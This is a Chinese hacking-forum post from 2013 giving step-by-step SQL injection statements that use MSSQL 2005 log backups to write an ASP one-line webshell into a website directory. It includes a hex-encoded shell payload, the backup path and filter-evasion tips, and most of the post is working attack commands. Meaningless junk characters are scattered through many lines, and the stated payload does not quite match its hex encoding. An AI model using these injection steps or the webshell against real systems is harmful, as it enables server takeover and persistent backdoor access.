中国网络渗透测试联盟

标题: mssql2005 DB权限导出一句话 [打印本页]

作者: admin    时间: 2013-7-16 20:32
标题: mssql2005 DB权限导出一句话
网站路径也搞到了,本想使用差异备份,在数据库日志中插入一句话,然后备份到网站目录下拿shell的,估计是用户没有备份数据库的权限,但使用MSSQL2000的备份方法根本行不通,后来才想到MSSQL2005的备份和MSSQL2000有点不同。 3 W, {( z; C& `* x) n/ q
# D& `. V! s" e, s( {2 y

1 q* v/ C+ h' x/ R& T后来在网上搜半天没有找到具体的备份语句,后来在群求助,小冰才发我了具体的利用语句,但贴出来的文章貌似没啥水准,大家都知道手工差异备份是自己需要修改数据库名和网站路径的,但那个文章中对语句没有做任何解释,无奈之下我只好自己尝试了,虽然测试的网站没有成功拿下shell,单语句是没有错误的,我在本地的MSSQL2005的查询分析器中测试通过了,再次特将语句整理出来分享个大家,并做好详细的解释说明,首先来贴出语句。
' t! t# d& W. V9 z* N& c! u; @
3 [2 u5 g* ]2 ^, s  h: f( F第一步
- T+ g' x+ F. U" V, d;alter/**/database/**/[Hospital]/**/set/**/recovery/**/full-- # M/ R) j6 k* ]

* L/ c/ P3 C. z' O. V7 s( q) c9 A第二步: 8 d  @8 ~$ T/ J. m
;declare/**/@d/**/nvarchar(4000)/**/select/**/@d=0x640062006200610063006B00/**/backup/**/database/**/[Hospital]/**/to/**/disk=@d/**/with/**/init--
* _( V' D5 g' j; Y1 b1 o* o9 O$ M3 N- a ' G& X0 a& P! J: C* o5 E# S: b
第三步
  U: ~" f' m, n$ E) y7 f) i;drop/**/table/**/[itpro]--
# i, U1 W! V3 v' b
4 P1 B1 `9 u% G, i第四步
% B- F+ T6 r3 H7 D% ~, G3 _;create/**/table/**/[itpro]([a]/**/image)-- ( I+ v+ G5 ]2 T* |" B" G
* ~' V) c0 ], j7 F0 V  [
第五步
' @, H+ y7 }' v8 Q  Y+ u0 J) _/ R- A;declare/**/@d/**/nvarchar(4000)/**/select/**/@d=0x640062006200610063006B00/**/backup/**/log/**/[Hospital]/**/to/**/disk=@d/**/with/**/init--
$ T8 `: J9 N# e4 T7 V9 k
1 N$ g6 g. W. k4 w, E7 l第六步
3 S3 ]# N2 H: P( n;insert/**/into/**/[itpro]([a])/**/values(0x3C25657865637574652872657175657374282261222929253EDA)-- ! \$ O/ i- e/ g  N& J0 P  h3 b

! V8 b$ K/ F9 @: |第七步 ( \  J% [4 j& q4 O4 a
;declare/**/@d/**/nvarchar(4000)/**/select/**/@d=0x65003A005C007700650062005C007A002E00610073007000/**/backup/**/log/**/[Hospital]/**/to/**/disk=@d/**/with/**/init-- ! h5 P. e6 n0 A/ P  n+ ]8 Y7 Y7 U
4 T' P6 L7 r6 ]3 y9 j' o6 ^
第八步 7 U. e; N# ~4 Z0 U
;drop/**/table/**/[itpro]-- 9 c; |" }8 G+ u  T, u1 d

7 y( t8 T) S, u. Z9 p第九步
" V* i* u2 j! q; v: N6 F;declare/**/@d/**/nvarchar(4000)/**/select/**/@d=0x640062006200610063006B00/**/backup/**/log/**/[Hospital]/**/to/**/disk=@d/**/with/**/init--
8 A% |% E, Y# ?$ U
! A. P. N9 V! ~3 h0 P$ T+ y其中红色的“Hospital”既是数据库名,这个要根据自己的情况来修改,然后黄色的“0x3C25657865637574652872657175657374282261222929253EDA”是一句话“<%eval request("a")%>”的内容,橙色的“0x65003A005C007700650062005C007A002E00610073007000”为备份的路径“e:\web\z.asp”,都是使用的SQL_En的格式,另外第三步大可以不需要!他是删除itpro的表,如果第一次的话这个表是不存在的,就会提示无权限的信息。另外在语句“disk=@d”的地方可以将“=”更换成“%3D”,就是使用URL编码。“/**/”就等于空格了,这个大家在学习注入的过程中应该了解,也可以更换成“%20”。
. r. H; Y9 B2 L' c  y+ h; _# H6 x




欢迎光临 中国网络渗透测试联盟 (https://www.cobjon.com/) Powered by Discuz! X3.2